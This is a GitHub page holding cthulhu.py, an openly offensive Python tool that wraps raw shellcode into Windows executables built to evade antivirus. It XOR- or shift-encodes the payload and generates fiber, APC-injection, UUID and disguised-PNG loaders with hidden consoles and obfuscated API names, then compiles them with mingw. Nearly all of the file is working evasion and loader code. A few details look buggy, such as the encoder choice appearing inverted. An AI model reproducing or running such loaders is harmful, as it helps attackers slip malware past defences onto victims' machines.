-
Notifications
You must be signed in to change notification settings - Fork 4
/
cthulhu.py
485 lines (413 loc) · 13.8 KB
/
cthulhu.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
#!/usr/bin/python
#
# FourEye fork
# Wrote by foxlox [aka calipendula] fortunato dot lodari at dedagroup dot it
# Special thanks to Leginbo, the author of FourEye
import sys
import os
from uuid import UUID
import getopt
import argparse
XOR = "XOR"
ROT13 = "ROT13"
X86 = "X86"
X64 = "X64"
### Fiber
def rot_encoder(shellcode_size, shellcode):
load = '''
#include <windows.h>
int main()
{
FreeConsole();
PVOID mainFiber = ConvertThreadToFiber(NULL);
unsigned char shellcode[] ;
for (int i = 0; i < sizeof shellcode; i++)
shellcode[i] = shellcode[i] - 7;
PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shellcodeLocation, shellcode, sizeof shellcode);
PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)shellcodeLocation, NULL);
SwitchToFiber(shellcodeFiber);
return 0;
}
'''
loads = load.replace('shellcode[]', shellcode, 1)
with open('/tmp/shellcode.cpp', 'w+') as f:
f.write(loads)
def xor_encoder(shellcode_size, shellcode):
load = '''
#include <windows.h>
int main()
{
FreeConsole();
PVOID mainFiber = ConvertThreadToFiber(NULL);
unsigned char shellcode[] ;
for (int i = 0; i < sizeof shellcode; i++)
shellcode[i] = shellcode[i] ^ 0x1C ^ 0x5D;
PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shellcodeLocation, shellcode, sizeof shellcode);
PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)shellcodeLocation, NULL);
SwitchToFiber(shellcodeFiber);
return 0;
}
'''
loads = load.replace('shellcode[]', shellcode, 1)
with open('/tmp/shellcode.cpp', 'w+') as f:
f.write(loads)
def Fiber_rot_13(fname):
shellcode_add = fname
shellcode = ''
shellcode_size = 0
try:
with open(shellcode_add, 'rb') as f:
while True:
code = f.read(1)
if not code:
break
base10 = ord(code) + 0x07
code_hex = hex(base10)
code_hex = code_hex.replace('0x', '')
if (len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += r'\x' + code_hex
shellcode_size += 1
f.close()
except Exception as e:
sys.stderr.writelines(str(e))
shellcodes = "shellcode[] = \"" + shellcode + "\""
rot_encoder(shellcode_size, shellcodes)
def Fiber_xor(fname):
shellcode_add = fname
shellcode = ''
new_shellcode = ''
shellcode_size = 0
try:
with open(shellcode_add, 'rb') as f:
while True:
code = f.read(1)
if not code:
break
base10 = ord(code) ^ 0x5D ^ 0x1C
code_hex = hex(base10)
code_hex = code_hex.replace('0x', '')
if (len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += r'\x' + code_hex
shellcode_size += 1
f.close()
except Exception as e:
sys.stderr.writelines(str(e))
shellcodes = "shellcode[] = \"" + shellcode + "\""
xor_encoder(shellcode_size, shellcodes)
### end Fiber
### APC
def rot_encode(shellcode_size, shellcode):
load = '''
#include <stdio.h>
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
FreeConsole();
char default_shell[] ;
char* shellcode;
int shellcode_size = 0;
for (int i = 0; i < sizeof default_shell; i++)
default_shell[i] = default_shell[i] - 9;
shellcode = default_shell;
shellcode_size = sizeof(default_shell);
char* testString3 = ((char[]){'V','i','r','t','u','a','l','A','l','l','o','c','E','x','\0'});
char* testString4 = ((char[]){'k','e','r','n','e','l','3','2','\0'});
HANDLE hthread = OpenThread(16, 0, GetCurrentThreadId());
FARPROC Allocate = GetProcAddress(GetModuleHandle(testString4), testString3);
char* buffer = (char*)Allocate(GetCurrentProcess(), 0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CopyMemory(buffer, shellcode, shellcode_size);
QueueUserAPC((PAPCFUNC)buffer, hthread, (ULONG_PTR)buffer);
SleepEx(5, 3);
}
'''
loads = load.replace('default_shell[]', shellcode, 1)
with open('/tmp/shellcode.c', 'w+') as f:
f.write(loads)
def xor_encode(shellcode_size, shellcode):
load = '''
#include <stdio.h>
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
FreeConsole();
char default_shell[] ;
char* shellcode;
int shellcode_size = 0;
for (int i = 0; i < sizeof default_shell; i++)
default_shell[i] = default_shell[i] ^ 0x0F ^ 0x05 ^ 0x0D ^ 0x02;
shellcode = default_shell;
shellcode_size = sizeof(default_shell);
char* testString3 = ((char[]){'V','i','r','t','u','a','l','A','l','l','o','c','E','x','\0'});
char* testString4 = ((char[]){'k','e','r','n','e','l','3','2','\0'});
HANDLE hthread = OpenThread(16, 0, GetCurrentThreadId());
FARPROC Allocate = GetProcAddress(GetModuleHandle(testString4), testString3);
char* buffer = (char*)Allocate(GetCurrentProcess(), 0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CopyMemory(buffer, shellcode, shellcode_size);
QueueUserAPC((PAPCFUNC)buffer, hthread, (ULONG_PTR)buffer);
SleepEx(5, 3);
}
'''
loads = load.replace('default_shell[]', shellcode, 1)
with open('/tmp/shellcode.c', 'w+') as f:
f.write(loads)
def APC_rot13(fname):
shellcode_add = fname
shellcode = ''
shellcode_size = 0
try:
with open(shellcode_add, 'rb') as f:
while True:
code = f.read(1)
if not code:
break
base10 = ord(code) + 0x09
code_hex = hex(base10)
code_hex = code_hex.replace('0x', '')
if (len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += r'\x' + code_hex
shellcode_size += 1
f.close()
except Exception as e:
sys.stderr.writelines(str(e))
shellcodes = "default_shell[] = \"" + shellcode + "\""
rot_encode(shellcode_size, shellcodes)
def APC_xor(fname):
shellcode_add = fname
shellcode = ''
shellcode_size = 0
try:
with open(shellcode_add, 'rb') as f:
while True:
code = f.read(1)
if not code:
break
base10 = ord(code) ^ 0x02 ^ 0x0D ^ 0x05 ^ 0x0F
code_hex = hex(base10)
code_hex = code_hex.replace('0x', '')
if (len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += r'\x' + code_hex
shellcode_size += 1
f.close()
except Exception as e:
sys.stderr.writelines(str(e))
shellcodes = "default_shell[] = \"" + shellcode + "\""
xor_encode(shellcode_size, shellcodes)
### end APC
### PNG
def PNGShellcode(fname):
shellcode_add = fname
os.system('mv ' + shellcode_add + ' /root/shell.png')
load = '''
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
int main(){
FreeConsole();
FILE* fp;
size_t size;
unsigned char* buffer;
fp = fopen("shell.png","rb");
fseek(fp,0,SEEK_END);
size = ftell(fp);
fseek(fp,0,SEEK_SET);
buffer = (unsigned char*)malloc(size);
fread(buffer,size,1,fp);
void *exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buffer, size);
((void(*)())exec)();
return 0;
}
'''
with open('/tmp/shellcode.cpp', 'w+') as f:
f.write(load)
### end PNG
### UUID
def UUIDShellcode(fname):
shellcode_add = fname
offset = 0
with open(shellcode_add, "rb") as f:
bin = f.read()
out = ""
while (offset < len(bin)):
countOfBytesToConvert = len(bin[offset:])
if countOfBytesToConvert < 16:
ZerosToAdd = 16 - countOfBytesToConvert
byteString = bin[offset:] + (b'\x00' * ZerosToAdd)
uuid = UUID(bytes_le=byteString)
else:
byteString = bin[offset:offset + 16]
uuid = UUID(bytes_le=byteString)
offset += 16
out += "\"{}\",\n".format(uuid)
print(out)
load = '''
#include <windows.h>
#include <rpc.h>
#include <stdio.h>
const char* uuids[] ;
int main()
{
FreeConsole();
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* ha = HeapAlloc(hc, 0, 0x100000);
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);
for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
if (status != RPC_S_OK) {
printf("UuidFromStringA() != S_OK");
CloseHandle(ha);
return -1;
}
hptr += 16;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
CloseHandle(ha);
return 0;
}
'''
shellcodes = "uuids[] = {" + out + "}"
loads = load.replace('uuids[]', shellcodes, 1)
with open('/tmp/shellcode.c', 'w+') as f:
f.write(loads)
### end UUID
def created(fname):
from os import path
if path.exists(fname):
print("[+] Created: "+fname)
### generate
def x64cpp_execute():
try:
os.system('x86_64-w64-mingw32-g++ ' + '/tmp/shellcode.cpp' + ' -o ' + '/tmp/shellcode.exe' + " --static" + " -w")
created("/tmp/shellcode.exe")
except:
print("[-]error\n")
def x86cpp_execute():
try:
os.system('i686-w64-mingw32-g++ ' + '-m32 ' + '/tmp/shellcode.cpp' + ' -o ' + '/tmp/shellcode.exe' + " --static" + " -w")
created("/tmp/shellcode.exe")
except:
print("[-]error\n")
def x64c_execute():
try:
os.system('x86_64-w64-mingw32-gcc ' + '/tmp/shellcode.c' + ' -o ' + '/tmp/shellcode.exe' + " --static" + " -w")
created("/tmp/shellcode.exe")
except:
print("[-]error\n")
def x86c_execute():
try:
os.system('i686-w64-mingw32-gcc ' + '-m32 ' + '/tmp/shellcode.c' + ' -o ' + '/tmp/shellcode.exe' + " --static" + " -w")
created("/tmp/shellcode.exe")
except:
print("[-]error\n")
def x64_uuid_execute():
try:
os.system('x86_64-w64-mingw32-gcc ' + '/tmp/shellcode.c' + ' -o ' + '/tmp/shellcode.exe' + " -lrpcrt4" + " --static" + " -w")
created("/tmp/shellcode.exe")
except:
print("[-]error\n")
def x86_uuid_execute():
try:
os.system('x86_64-w64-mingw32-gcc ' + '-m32 ' + '/tmp/shellcode.c' + ' -o ' + '/tmp/shellcode.exe' + " --static" + " -w" + " -lrpcrt4")
created("/tmp/shellcode.exe")
except:
print("[-]error\n")
def banner():
print("Cthulhu 0.3")
print("Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn. In his house at R'lyeh dead Cthulhu waits dreaming.")
print("\r\n")
### end generate
banner()
python_version = sys.version_info[0]
flag = 0
enc = 0
encode = XOR
if python_version != 3:
print("[-] Unable to run ")
print("[-] Please run Cthulhu with python 3")
sys.exit()
argv = sys.argv[1:4]
def usage():
print ('usage: python3 cthulu.py -method fiber|apc|png|uuid -arch x86|x64 -bin filename.bin -enc xor|rot13')
print ('python3 cthulu.py -h')
print("\r\nExample: python3 cthulu -method fiber -arch x64 -bin moana.bin -enc xor")
print("\r\n python3 cthulu -method uuid -arch x64 -bin moana.bin")
exit()
try:
opts, args = getopt.getopt(argv, 'method:arch:bin:enc:', ['m', 'a', 'b', 'e'])
if len(opts) == 0 and len(opts) < 5:
usage()
except getopt.GetoptError:
usage()
ap = argparse.ArgumentParser()
ap.add_argument("-method", required=True, help="Methods: fiber | apc | uuid | png")
ap.add_argument("-arch", required=True, help="EXE architecture to generate x86 | x64")
ap.add_argument("-bin", required=True, help="Binary file")
ap.add_argument("-enc", required=False, help="Encoder xor | rot13 - it works only with fiber and apc")
args = vars(ap.parse_args())
method=args['method'].upper()
x86_64=args['arch'].upper()
fname=args['bin']
if ((method=="APC") or (method=="FIBER")):
try:
encode=args['enc'].upper()
except:
pass
from os import path
if not path.exists(fname):
print("BIN file doesn't exists! Please create it with:")
print("$ donut inputfilename.exe -o filename.bin")
exit()
flag=1
if (x86_64==X64):
flag=2
if not flag in range(1,3):
print("Please fix: x86 or x64?")
usage()
enc=1
if (encode==ROT13):
enc=2
if not enc in range(1,3):
print(enc)
if (method=="FIBER" or method=="PNG"):
print("Please fix: XOR or ROT13?")
usage()
if (method=="FIBER"):
if (enc==1):
Fiber_rot_13(fname)
else:
Fiber_xor(fname)
if (flag==1):
x86cpp_execute()
else:
x64cpp_execute()
if (method=="APC"):
if (enc==1):
APC_rot13(fname)
else:
APC_xor(fname)
if (flag==1):
x86c_execute()
else:
x64c_execute()
if (method=="PNG"):
PNGShellcode(fname)
if (flag==1):
x86cpp_execute()
else:
x64cpp_execute()
if (method=="UUID"):
UUIDShellcode(fname)
if (flag==1):
x86_uuid_execute()
else:
x64_uuid_execute()
print("Method: "+method);
print("BIN File: "+fname)
#x64